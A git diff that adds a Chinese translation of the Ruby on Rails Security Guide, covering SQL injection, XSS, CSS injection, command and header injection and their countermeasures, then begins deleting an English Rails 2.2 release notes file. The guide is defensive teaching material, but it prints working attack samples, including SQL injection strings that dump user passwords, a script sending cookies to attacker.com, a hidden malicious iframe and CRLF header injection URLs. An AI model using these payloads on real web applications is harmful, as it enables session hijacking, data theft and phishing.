
这个正则表达式在某些语言中可以正常工作,但在 Ruby 中,^$ 分别匹配行首和行尾,因此下面这个 URL 能够顺利通过验证:

+
+javascript:exploit_code();/*
+http://hi.com
+*/
+
+
+
+

之所以能通过验证,是因为用于验证的正则表达式匹配了这个 URL 的第二行,因而不会再验证其他两行。假设我们在视图中像下面这样显示 URL:

+
+link_to "Homepage", @user.homepage
+
+
+
+

这个链接看起来对访问者无害,但只要一点击,就会执行 exploit_code 这个 JavaScript 函数或攻击者提供的其他 JavaScript 代码。

要想修正这个正则表达式,我们可以用 \A\z 分别代替 ^$,即:

+
+/\Ahttps?:\/\/[^\n]+\z/i
+
+
+
+

由于这是一个常见错误,Rails 已经采取了预防措施,如果提供的正则表达式以 ^ 开头或以 $ 结尾,格式验证器(validates_format_of)就会抛出异常。如果确实需要用 ^$ 代替 \A\z(这种情况很少见),我们可以把 :multiline 选项设置为 true,例如:

+
+# content 字符串应包含“Meanwhile”这样一行
+validates :content, format: { with: /^Meanwhile$/, multiline: true }
+
+
+
+

注意,这种方式只能防止格式验证中的常见错误,在 Ruby 中,我们需要时刻记住,^$ 分别匹配行首和行尾,而不是整个字符串的开头和结尾。

6.7 提升权限

只需纂改一个参数,就有可能使用户获得未经授权的权限。记住,不管我们如何隐藏或混淆,每一个参数都有可能被纂改。

用户最常篡改的参数是 ID,例如在 http://www.domain.com/project/1 这个 URL 地址中,ID 是 1。在控制器中可以通过 params 得到这个 ID,通常的操作如下:

+
+@project = Project.find(params[:id])
+
+
+
+

对于某些 Web 应用,这样做没问题。但如果用户不具有查看所有项目的权限,就不能这样做。否则,如果某个用户把 URL 地址中的 ID 改为 42,并且该用户没有查看这个项目的权限,结果却仍然能够查看项目。为此,我们需要同时查询用户的访问权限:

+
+@project = @current_user.projects.find(params[:id])
+
+
+
+

对于不同的 Web 应用,用户能够纂改的参数也不同。根据经验,未经验证的用户输入都是不安全的,来自用户的参数都有被纂改的潜在风险。

通过混淆参数或 JavaScript 来实现安全性一点儿也不可靠。通过开发者工具,我们可以查看和修改表单的隐藏字段。JavaScript 常用于验证用户输入的数据,但无法防止攻击者发送带有不合法数据的恶意请求。Mozilla Firefox 的 Firebug 插件,可以记录每次请求,而且可以重复发起并修改这些请求,这样就能轻易绕过 JavaScript 验证。还有一些客户端代理,允许拦截进出的任何网络请求和响应。

7 注入攻击

注入这种攻击方式,会把恶意代码或参数写入 Web 应用,以便在应用的安全上下文中执行。注入攻击最著名的例子是跨站脚本(XSS)和 SQL 注入攻击。

注入攻击非常复杂,因为相同的代码或参数,在一个上下文中可能是恶意的,但在另一个上下文中可能完全无害。这里的上下文指的是脚本、查询或编程语言,Shell 或 Ruby/Rails 方法等等。下面几节将介绍可能发生注入攻击的所有重要场景。不过第一节我们首先要介绍,面对注入攻击时如何进行综合决策。

7.1 白名单 vs 黑名单

对于净化、保护和验证操作,白名单优于黑名单。

黑名单可以包含垃圾电子邮件地址、非公开的控制器动作、造成安全威胁的 HTML 标签等等。与此相反,白名单可以包含可靠的电子邮件地址、公开的控制器动作、安全的 HTML 标签等等。尽管有些情况下我们无法创建白名单(例如在垃圾信息过滤器中),但只要有可能就应该优先使用白名单:

+
    +
  • 对于安全相关的控制器动作,在 before_action 选项中用 except: [&#8230;&#8203;] 代替 only: [&#8230;&#8203;],这样就不会忘记为新建动作启用安全检查;
  • +
  • 为防止跨站脚本(XSS)攻击,应允许使用 <strong> 标签,而不是去掉 <script> 标签,详情请参阅后文;
  • +
  • +

    不要尝试通过黑名单来修正用户输入:

    +
      +
    • 否则攻击者可以发起 "<sc<script>ript>".gsub("<script>", "") 这样的攻击;
    • +
    • 对于非法输入,直接拒绝即可。
    • +
    +
  • +
+

使用黑名单时有可能因为人为因素造成遗漏,使用白名单则能有效避免这种情况。

7.2 SQL 注入

Rails 为我们提供的方法足够智能,绝大多数情况下都能防止 SQL 注入。但对 Web 应用而言,SQL 注入是常见并具有毁灭性的攻击方式,因此了解这种攻击方式十分重要。

7.2.1 简介

SQL 注入攻击的原理是,通过纂改传入 Web 应用的参数来影响数据库查询。SQL 注入攻击的一个常见目标是绕过授权,另一个常见目标是执行数据操作或读取任意数据。下面的例子说明了为什么要避免在查询中使用用户输入的数据:

+
+Project.where("name = '#{params[:name]}'")
+
+
+
+

这个查询可能出现在搜索动作中,用户会输入想要查找的项目名称。如果恶意用户输入 ' OR 1 --,将会生成下面的 SQL 查询:

+
+SELECT * FROM projects WHERE name = '' OR 1 --'
+
+
+
+

其中 -- 表示注释开始,之后的所有内容都会被忽略。执行这个查询后,将返回项目数据表中的所有记录,也包括当前用户不应该看到的记录,原因是所有记录都满足查询条件。

7.2.2 绕过授权

通常 Web 应用都包含访问控制。用户输入登录的账号密码,Web 应用会尝试在用户数据表中查找匹配的记录。如果找到了,应用就会授权用户登录。但是,攻击者通过 SQL 注入,有可能绕过这项检查。下面的例子是 Rails 中一个常见的数据库查询,用于在用户数据表中查找和用户输入的账号密码相匹配的第一条记录。

+
+User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")
+
+
+
+

如果攻击者输入 ' OR '1'='1 作为用户名,输入 ' OR '2'>'1 作为密码,将会生成下面的 SQL 查询:

+
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
+
+
+
+

执行这个查询后,会返回用户数据表的第一条记录,并授权用户登录。

7.2.3 未经授权读取数据

UNION 语句用于连接两个 SQL 查询,并以集合的形式返回查询结果。攻击者利用 UNION 语句,可以从数据库中读取任意数据。还以前文的这个例子来说明:

+
+Project.where("name = '#{params[:name]}'")
+
+
+
+

通过 UNION 语句,攻击者可以注入另一个查询:

+
+') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+
+
+
+

结果会生成下面的 SQL 查询:

+
+SELECT * FROM projects WHERE (name = '') UNION
+  SELECT id,login AS name,password AS description,1,1,1 FROM users --'
+
+
+
+

执行这个查询得到的结果不是项目列表(因为不存在名称为空的项目),而是用户名密码的列表。如果发生这种情况,我们只能祈祷数据库中的用户密码都加密了!攻击者需要解决的唯一问题是,两个查询中字段的数量必须相等,本例中第二个查询中的多个 1 正是为了解决这个问题。

此外,第二个查询还通过 AS 语句对某些字段进行了重命名,这样 Web 应用就会显示从用户数据表中查询到的数据。出于安全考虑,请把 Rails 升级至 2.1.1 或更高版本

7.2.4 对策

Ruby on Rails 内置了针对特殊 SQL 字符的过滤器,用于转义 '"NULL 和换行符。当我们使用 Model.find(id)Model.find_by_something(something) 方法时,Rails 会自动应用这个过滤器。但在 SQL 片段中,尤其是在条件片段(where("&#8230;&#8203;"))中,需要为 connection.execute()Model.find_by_sql() 方法手动应用这个过滤器。

为了净化受污染的字符串,在提供查询条件的选项时,我们应该传入数组而不是直接传入字符串:

+
+Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
+
+
+
+

如上所示,数组的第一个元素是包含问号的 SQL 片段,从第二个元素开始都是需要净化的变量,净化后的变量值将用于代替 SQL 片段中的问号。我们也可以传入散列来实现相同效果:

+
+Model.where(login: entered_user_name, password: entered_password).first
+
+
+
+

只有在模型实例上,才能通过数组或散列指定查询条件。对于其他情况,我们可以使用 sanitize_sql() 方法。遇到需要在 SQL 中使用外部字符串的情况时,请养成考虑安全问题的习惯。

7.3 跨站脚本(XSS)

对 Web 应用而言,XSS 是影响范围最广、破坏性最大的安全漏洞。这种恶意攻击方式会在客户端注入可执行代码。Rails 提供了防御这种攻击的辅助方法。

7.3.1 切入点

存在安全风险的 URL 及其参数,是攻击者发动攻击的切入点。

最常见的切入点包括帖子、用户评论和留言本,但项目名称、文档名称和搜索结果同样存在安全风险,实际上凡是用户能够输入信息的地方都存在安全风险。而且,输入不仅来自网站上的输入框,也可能来自 URL 参数(公开参数、隐藏参数或内部参数)。记住,用户有可能拦截任何通信。有些工具和客户端代理可以轻易修改请求数据。此外还有横幅广告等攻击方式。

XSS 攻击的工作原理是:攻击者注入代码,Web 应用保存并在页面中显示这些代码,受害者访问包含恶意代码的页面。本文给出的 XSS 示例大多数只是显示一个警告框,但 XSS 的威力实际上要大得多。XSS 可以窃取 cookie、劫持会话、把受害者重定向到假冒网站、植入攻击者的赚钱广告、纂改网站元素以窃取登录用户名和密码,以及通过 Web 浏览器的安全漏洞安装恶意软件。

仅 2007 年下半年,在 Mozilla 浏览器中就发现了 88 个安全漏洞,Safari 浏览器 22 个, IE 浏览器 18个, Opera 浏览器 12个。赛门铁克《互联网安全威胁报告》指出,仅 2007 年下半年,在浏览器插件中就发现了 239 个安全漏洞。Mpack 这个攻击框架非常活跃、经常更新,其作用是利用这些漏洞发起攻击。对于那些从事网络犯罪的黑客而言,利用 Web 应用框架中的 SQL 注入漏洞,在数据表的每个文本字段中插入恶意代码是非常有吸引力的。2008 年 4 月,超过 51 万个网站遭到了这类攻击,其中包括英国政府、联合国和其他一些重要网站。

7.3.2 HTML / JavaScript 注入

XSS 最常用的语言非 JavaScript (最受欢迎的客户端脚本语言)莫属,并且经常与 HTML 结合使用。因此,对用户输入进行转义是必不可少的安全措施。

让我们看一个 XSS 的例子:

+
+<script>alert('Hello');</script>
+
+
+
+

这行 JavaScript 代码仅仅显示一个警告框。下面的例子作用完全相同,只不过其用法不太常见:

+
+<img src=javascript:alert('Hello')>
+<table background="javascript:alert('Hello')">
+
+
+
+

到目前为止,本文给出的几个例子都不会造成实际危害,接下来,我们要看看攻击者如何窃取用户的 cookie(进而劫持用户会话)。在 JavaScript 中,可以使用 document.cookie 属性来读写文档的 cookie。JavaScript 遵循同源原则,这意味着一个域名上的脚本无法访问另一个域名上的 cookie。document.cookie 属性中保存的是相同域名 Web 服务器上的 cookie,但只要把代码直接嵌入 HTML 文档(就像 XSS 所做的那样),就可以读写这个属性了。把下面的代码注入自己的 Web 应用的任何页面,我们就可以看到自己的 cookie:

+
+<script>document.write(document.cookie);</script>
+
+
+
+

当然,这样的做法对攻击者来说并没有意义,因为这只会让受害者看到自己的 cookie。在接下来的例子中,我们会尝试从 http://www.attacker.com/ 这个 URL 地址加载图像和 cookie。当然,因为这个 URL 地址并不存在,所以浏览器什么也不会显示。但攻击者能够通过这种方式,查看 Web 服务器的访问日志文件,从而看到受害者的 cookie。

+
+<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+
+
+
+

www.attacker.com 的日志文件中将出现类似这样的一条记录:

+
+GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+
+
+
+

在 cookie 中添加 httpOnly 标志可以规避这种攻击,这个标志可以禁止 JavaScript 读取 document.cookie 属性。IE v6.SP1、 Firefox v2.0.0.5、Opera 9.5、Safari 4 和 Chrome 1.0.154 以及更高版本的浏览器都支持 httpOnly 标志,Safari 浏览器也在考虑支持这个标志。但其他浏览器(如 WebTV)或旧版浏览器(如 Mac 版 IE 5.5)不支持这个标志,因此遇到上述攻击时会导致网页无法加载。需要注意的是,即便设置了 httpOnly 标志,通过 Ajax 仍然可以读取 cookie。

7.3.2.2 涂改信息

通过涂改网页信息,攻击者可以做很多事情,例如,显示虚假信息,或者诱使受害者访问攻击者的网站以窃取受害者的 cookie、登录用户名和密码或其他敏感信息。最常见的信息涂改方式是通过 iframe 加载外部代码:

+
+<iframe name="StatPage" src="http://58.xx.xxx.xxx/" width=5 height=5 style="display:none"></iframe>
+
+
+
+

这行代码可以从外部网站加载任何 HTML 和 JavaScript 代码并嵌入当前网站,来自黑客使用 Mpack 攻击框架攻击某个意大利网站的真实案例。Mpack 会尝试利用 Web 浏览器的安全漏洞安装恶意软件,成功率高达 50%。

更专业的攻击可以覆盖整个网站,也可以显示一个和原网站看起来一模一样的表单,并把受害者的用户名密码发送到攻击者的网站,还可以使用 CSS 和 JavaScript 隐藏原网站的正常链接并显示另一个链接,把用户重定向到假冒网站上。

反射式注入攻击不需要储存恶意代码并将其显示给用户,而是直接把恶意代码包含在 URL 地址中。当搜索表单无法转义搜索字符串时,特别容易发起这种攻击。例如,访问下面这个链接,打开的页面会显示,“乔治·布什任命一名 9 岁男孩担任议长……”:

+
+http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
+  <script src=http://www.securitylab.ru/test/sc.js></script><!--
+
+
+
+

7.3.2.3 对策

过滤恶意输入非常重要,但是转义 Web 应用的输出同样也很重要。

尤其对于 XSS,重要的是使用白名单而不是黑名单过滤输入。白名单过滤规定允许输入的值,反之,黑名单过滤规定不允许输入的值。经验告诉我们,黑名单永远做不到万无一失。

假设我们通过黑名单从用户输入中删除 script,如果攻击者注入 <scrscriptipt>,过滤后就能得到 <script>。Rails 的早期版本在 strip_tags()strip_links()sanitize() 方法中使用了黑名单,因此有可能受到下面这样的注入攻击:

+
+strip_tags("some<<b>script>alert('hello')<</b>/script>")
+
+
+
+

这行代码会返回 some<script>alert('hello')</script>,也就是说攻击者可以发起注入攻击。这个例子说明了为什么白名单比黑名单更好。Rails 2 及更高版本中使用了白名单,下面是使用新版 sanitize() 方法的例子:

+
+tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, tags: tags, attributes: %w(href title))
+
+
+
+

通过规定允许使用的标签,sanitize() 完美地完成了过滤输入的任务。不管攻击者使出什么样的花招、设计出多么畸型的标签,都难逃被过滤的命运。

接下来应该转义应用的所有输出,特别是在需要显示未经过滤的用户输入时(例如前面提到的的搜索表单的例子)。使用 escapeHTML() 方法(或其别名 h() 方法),把 HTML 中的字符 &"<> 替换为对应的转义字符 &amp;amp;&amp;quot;&amp;lt;&amp;gt;

7.3.2.4 混淆和编码注入

早先的网络流量主要基于有限的西文字符,后来为了传输其他语言的字符,出现了新的字符编码,例如 Unicode。这也给 Web 应用带来了安全威胁,因为恶意代码可以隐藏在不同的字符编码中。Web 浏览器通常可以处理不同的字符编码,但 Web 应用往往不行。下面是通过 UTF-8 编码发动攻击的例子:

+
+<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
+  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
+
+
+
+

上述代码运行后会弹出一个消息框。不过,前面提到的 sanitize() 过滤器能够识别此类代码。Hackvertor 是用于字符串混淆和编码的优秀工具,了解这个工具可以帮助我们知己知彼。Rails 提供的 sanitize() 方法能够有效防御编码注入攻击。

7.3.2.5 真实案例

为了了解当前针对 Web 应用的攻击方式,最好看几个真实案例。

下面的代码摘录自 Js.Yamanner@m 制作的雅虎邮件蠕虫。该蠕虫出现于 2006 年 6 月 11 日,是首个针对网页邮箱的蠕虫:

+
+<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+  target=""onload="var http_request = false;    var Email = '';
+  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
+
+
+
+

该蠕虫利用了雅虎 HTML/JavaScript 过滤器的漏洞,这个过滤器用于过滤 HTML 标签中的所有 targetonload 属性(原因是这两个属性的值可以是 JavaScript)。因为这个过滤器只会执行一次,上述例子中 onload 属性中的蠕虫代码并没有被过滤掉。这个例子很好地诠释了黑名单永远做不到万无一失,也说明了 Web 应用为什么通常都会禁止输入 HTML/JavaScript。

另一个用于概念验证的网页邮箱蠕虫是 Ndjua,这是一个针对四个意大利网页邮箱服务的跨域名蠕虫。更多介绍请阅读 Rosario Valotta 的论文。刚刚介绍的这两个蠕虫,其目的都是为了搜集电子邮件地址,一些从事网络犯罪的黑客可以利用这些邮件地址获取非法收益。

2006 年 12 月,在一次针对 MySpace 的钓鱼攻击中,黑客窃取了 34,000 个真实用户名和密码。这次攻击的原理是,创建名为“login_home_index_html”的个人信息页面,并使其 URL 地址看起来十分正常,同时通过精心设计的 HTML 和 CSS,隐藏 MySpace 的真正内容,并显示攻击者创建的登录表单。

7.4 CSS 注入

CSS 注入实际上是 JavaScript 注入,因为有的浏览器(如 IE、某些版本的 Safari 和其他浏览器)允许在 CSS 中使用 JavaScript。因此,在允许 Web 应用使用自定义 CSS 时,请三思而后行。

著名的 MySpace Samy 蠕虫是解释 CSS 注入攻击原理的最好例子。这个蠕虫只需访问用户的个人信息页面就能向 Samy(攻击者)发送好友请求。在短短几个小时内,Samy 就收到了超过一百万个好友请求,巨大的流量致使 MySpace 宕机。下面我们从技术角度来分析这个蠕虫。

MySpace 禁用了很多标签,但允许使用 CSS。因此,蠕虫的作者通过下面这种方式把 JavaScript 植入 CSS 中:

+
+<div style="background:url('/service/javascript:alert(1)')">
+
+
+
+

这样 style 属性就成为了恶意代码。在这段恶意代码中,不允许使用单引号和多引号,因为这两种引号都已经使用了。但是在 JavaScript 中有一个好用的 eval() 函数,可以把任意字符串作为代码来执行。

+
+<div id="mycode" expr="alert('hah!')" style="background:url('/service/javascript:eval(document.all.mycode.expr)')">
+
+
+
+

eval() 函数是黑名单输入过滤器的噩梦,它使 innerHTML 这个词得以藏身 style 属性之中:

+
+alert(eval('document.body.inne' + 'rHTML'));
+
+
+
+

下一个问题是,MySpace 会过滤 javascript 这个词,因此作者使用 java<NEWLINE>script 来绕过这一限制:

+
+<div id="mycode" expr="alert('hah!')" style="background:url('java↵

+script:eval(document.all.mycode.expr)')">
+
+
+
+

CSRF 安全令牌是蠕虫作者面对的另一个问题。如果没有令牌,就无法通过 POST 发送好友请求。解决方案是,在添加好友前先向用户的个人信息页面发送 GET 请求,然后分析返回结果以获取令牌。

最后,蠕虫作者完成了一个大小为 4KB 的蠕虫,他把这个蠕虫注入了自己的个人信息页而。

对于 Gecko 内核的浏览器(例如 Firefox),moz-binding CSS 属性也已被证明可用于把 JavaScript 植入 CSS 中。

7.4.1 对策

这个例子再次说明,黑名单永远做不到万无一失。不过,在 Web 应用中使用自定义 CSS 是一个非常罕见的特性,为这个特性编写好用的 CSS 白名单过滤器可能会很难。如果想要允许用户自定义颜色或图片,我们可以让用户在 Web 应用中选择所需的颜色或图片,然后自动生成对应的 CSS。如果确实需要编写 CSS 白名单过滤器,可以参照 Rails 提供的 sanitize() 进行设计。

7.5 Textile 注入

基于安全考虑,我们可能想要用其他文本格式(标记语言)来代替 HTML,然后在服务器端把所使用的标记语言转换为 HTML。RedCloth 是一种可以在 Ruby 中使用的标记语言,但在不采取预防措施的情况下,这种标记语言同样存在受到 XSS 攻击的风险。

例如,RedCloth 会把 _test_ 转换为 <em>test</em>,显示为斜体。但直到最新的 3.0.4 版,这一特性都存在受到 XSS 攻击的风险。全新的第 4 版已经移除了这一严重的安全漏洞。然而即便是第 4 版也存在一些安全漏洞,仍有必要采取预防措施。下面给出了针对 3.0.4 版的例子:

+
+RedCloth.new('<script>alert(1)</script>').to_html
+# => "<script>alert(1)</script>"
+
+
+
+

使用 :filter_html 选项可以移除并非由 Textile 处理器创建的 HTML:

+
+RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+# => "alert(1)"
+
+
+
+

不过,这个选项不会过滤所有的 HTML,RedCloth 的作者在设计时有意保留了一些标签,例如 <a>

+
+RedCloth.new("<a href='/service/javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+# => "<p><a href="/service/javascript:alert(1)">hello</a></p>"
+
+
+
+

7.5.1 对策

建议将 RedCloth 和白名单输入过滤器结合使用,具体操作请参考 对策

7.6 Ajax 注入

对于 Ajax 动作,必须采取和常规控制器动作一样的安全预防措施。不过,至少存在一个例外:如果动作不需要渲染视图,那么在控制器中就应该进行转义。

如果使用了 in_place_editor 插件,或者控制器动作只返回字符串而不渲染视图,我们就应该在动作中转义返回值。否则,一旦返回值中包含 XSS 字符串,这些恶意代码就会在发送到浏览器时执行。请使用 h() 方法对所有输入值进行转义。

7.7 命令行注入

请谨慎使用用户提供的命令行参数。

如果应用需要在底层操作系统中执行命令,可以使用 Ruby 提供的几个方法:exec(command)syscall(command)system(command)command。如果整条命令或命令的某一部分是由用户输入的,我们就必须特别小心。这是因为在大多数 Shell 中,可以通过分号(;)或竖线(|)把几条命令连接起来,这些命令会按顺序执行。

为了防止这种情况,我们可以使用 system(command, parameters) 方法,通过这种方式传递命令行参数更安全。

+
+system("/bin/echo","hello; rm *")
+# 打印 "hello; rm *" 而不会删除文件
+
+
+
+

7.8 首部注入

HTTP 首部是动态生成的,因此在某些情况下可能会包含用户注入的信息,从而导致错误重定向、XSS 或 HTTP 响应拆分(HTTP response splitting)。

HTTP 请求首部中包含 Referer、User-Agent(客户端软件)和 Cookie 等字段;响应首部中包含状态码、Cookie 和 Location(重定向目标 URL)等字段。这些字段都是由用户提供的,用户可以想办法修改。因此,别忘了转义这些首部字段,例如在管理页面中显示 User-Agent 时。

除此之外,在部分基于用户输入创建响应首部时,知道自己在做什么很重要。例如,为表单添加 referer 字段,由用户指定 URL 地址,以便把用户重定向到指定页面:

+
+redirect_to params[:referer]
+
+
+
+

这行代码告诉 Rails 把用户提供的地址字符串放入首部的 Location 字段,并向浏览器发送 302(重定向)状态码。于是,恶意用户可以这样做:

+
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
+
+
+
+

由于 Rails 2.1.2 之前的版本有缺陷,黑客可以在首部中注入任意字段,例如:

+
+http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
+
+
+
+

注意,%0d%0a 是 URL 编码后的 \r\n,也就是 Ruby 中的回车换行符(CRLF)。因此,上述第二个例子得到的 HTTP 首部如下(第二个 Location 覆盖了第一个 Location):

+
+HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+
+
+
+

通过这些例子我们看到,首部注入攻击的原理是在首部字段中注入回车换行符。通过错误重定向,攻击者可以把用户重定向到钓鱼网站,在一个和正常网站看起来完全一样的页面中要求用户再次登录,从而窃取登录的用户名密码。攻击者还可以通过浏览器安全漏洞安装恶意软件。Rails 2.1.2 的 redirect_to 方法对 Location 字段的值做了转义。当我们使用用户输入创建其他首部字段时,需要手动转义。

7.8.1 响应拆分

既然存在首部注入的可能性,自然也存在响应拆分的可能性。在 HTTP 响应中,首部之后是两个回车换行符,然后是真正的数据(通常是 HTML)。响应拆分的工作原理是,在首部中插入两个回车换行符,之后紧跟带有恶意 HTML 代码的另一个响应。这样,响应就变为:

+
+HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
+Keep-Alive: timeout=15, max=100         shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+
+
+
+

在某些情况下,受到响应拆分攻击后,受害者接收到的是恶意 HTML 代码。不过,这种情况只会在保持活动(Keep-Alive)的连接中发生,而很多浏览器都使用一次性连接。当然,我们不能指望通过浏览器的特性来防御这种攻击。这是一个严重的安全漏洞,正确的做法是把 Rails 升级到 2.0.5 和 2.1.2 及更高版本,这样才能消除首部注入(和响应拆分)的风险。

8 生成不安全的查询

由于 Active Record 和 Rack 解析查询参数的特有方式,通过在 WHERE 子句中使用 IS NULL,攻击者可以发起非常规的数据库查询。为了应对这类安全问题(CVE-2012-2694CVE-2013-0155),Rails 提供了 deep_munge 方法,以保证默认情况下的数据库安全。

在未使用 deep_munge 方法的情况下,攻击者可以利用下面代码中的安全漏洞发起攻击:

+
+unless params[:token].nil?
+  user = User.find_by_token(params[:token])
+  user.reset_password!
+end
+
+
+
+

只要 params[:token] 的值是 [nil][nil, nil, &#8230;&#8203;]['foo', nil] 其中之一,上述测试就会被被绕过,而带有 IS NULLIN ('foo', NULL) 的 WHERE 子句仍将被添加到 SQL 查询中。

默认情况下,为了保证数据库安全,deep_munge 方法会把某些值替换为 nil。下述表格列出了经过替换处理后 JSON 请求和查询参数的对应关系:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
JSON参数
{ "person": null }{ :person => nil }
{ "person": [] }{ :person => [ }]
{ "person": [null] }{ :person => [ }]
{ "person": [null, null, &#8230;&#8203;] }{ :person => [ }]
{ "person": ["foo", null] }{ :person => ["foo" }]
+

当然,如果我们非常了解这类安全风险并知道如何处理,也可以通过设置禁用 deep_munge 方法:

+
+config.action_dispatch.perform_deep_munge = false
+
+
+
+

9 默认首部

Rails 应用返回的每个 HTTP 响应都带有下列默认的安全首部:

+
+config.action_dispatch.default_headers = {
+  'X-Frame-Options' => 'SAMEORIGIN',
+  'X-XSS-Protection' => '1; mode=block',
+  'X-Content-Type-Options' => 'nosniff'
+}
+
+
+
+

config/application.rb 中可以配置默认首部:

+
+config.action_dispatch.default_headers = {
+  'Header-Name' => 'Header-Value',
+  'X-Frame-Options' => 'DENY'
+}
+
+
+
+

如果需要也可以删除默认首部:

+
+config.action_dispatch.default_headers.clear
+
+
+
+

下面是常见首部的说明:

+
    +
  • X-Frame-Options:Rails 中的默认值是 'SAMEORIGIN',即允许使用相同域名中的 iframe。设置为 'DENY' 将禁用所有 iframe。设置为 'ALLOWALL' 将允许使用所有域名中的 iframe。
  • +
  • X-XSS-Protection:Rails 中的默认值是 '1; mode=block',即使用 XSS 安全审计程序,如果检测到 XSS 攻击就不显示页面。设置为 '0',将关闭 XSS 安全审计程序(当响应中需要包含通过请求参数传入的脚本时)。
  • +
  • X-Content-Type-Options:Rails 中的默认值是 'nosniff',即禁止浏览器猜测文件的 MIME 类型。
  • +
  • X-Content-Security-Policy:强大的安全机制,用于设置加载某个类型的内容时允许的来源网站。
  • +
  • Access-Control-Allow-Origin:用于设置允许绕过同源原则的网站,以便发送跨域请求。
  • +
  • Strict-Transport-Security:用于设置是否强制浏览器通过安全连接访问网站。
  • +
+

10 环境安全

如何增强应用代码和环境的安全性已经超出了本文的范畴。但是,别忘了保护好数据库配置(例如 config/database.yml)和服务器端密钥(例如 config/secrets.yml)。要想进一步限制对敏感信息的访问,对于包含敏感信息的文件,可以针对不同环境使用不同的专用版本。

10.1 自定义密钥

默认情况下,Rails 生成的 config/secrets.yml 文件中包含了应用的 secret_key_base,还可以在这个文件中包含其他密钥,例如外部 API 的访问密钥。

此文件中的密钥可以通过 Rails.application.secrets 访问。例如,当 config/secrets.yml 包含如下内容时:

+
+development:
+  secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+  some_api_key: SOMEKEY
+
+
+
+

在开发环境中,Rails.application.secrets.some_api_key 会返回 SOMEKEY

要想在密钥值为空时抛出异常,请使用炸弹方法:

+
+Rails.application.secrets.some_api_key! # => 抛出 KeyError: key not found: :some_api_key
+
+
+
+

11 其他资源

安全漏洞层出不穷,与时俱进至关重要,哪怕只是错过一个新出现的安全漏洞,都有可能造成灾难性后果。关于 Rails 安全问题的更多介绍,请访问下列资源:

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/source/2_2_release_notes.md b/source/2_2_release_notes.md deleted file mode 100644 index ac5833e..0000000 --- a/source/2_2_release_notes.md +++ /dev/null @@ -1,436 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Ruby on Rails 2.2 Release Notes -=============================== - -Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/2-2-stable) in the main Rails repository on GitHub. - -Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails. - --------------------------------------------------------------------------------- - -Infrastructure --------------- - -Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world. - -### Internationalization - -Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing). - -* Lead Contributors: Rails i18 Team -* More information : - * [Official Rails i18 website](http://rails-i18n.org) - * [Finally. Ruby on Rails gets internationalized](https://web.archive.org/web/20140407075019/http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized) - * [Localizing Rails : Demo application](https://github.com/clemens/i18n_demo_app) - -### Compatibility with Ruby 1.9 and JRuby - -Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released. - -Documentation -------------- - -The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](http://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes: - -* [Getting Started with Rails](getting_started.html) -* [Rails Database Migrations](active_record_migrations.html) -* [Active Record Associations](association_basics.html) -* [Active Record Query Interface](active_record_querying.html) -* [Layouts and Rendering in Rails](layouts_and_rendering.html) -* [Action View Form Helpers](form_helpers.html) -* [Rails Routing from the Outside In](routing.html) -* [Action Controller Overview](action_controller_overview.html) -* [Rails Caching](caching_with_rails.html) -* [A Guide to Testing Rails 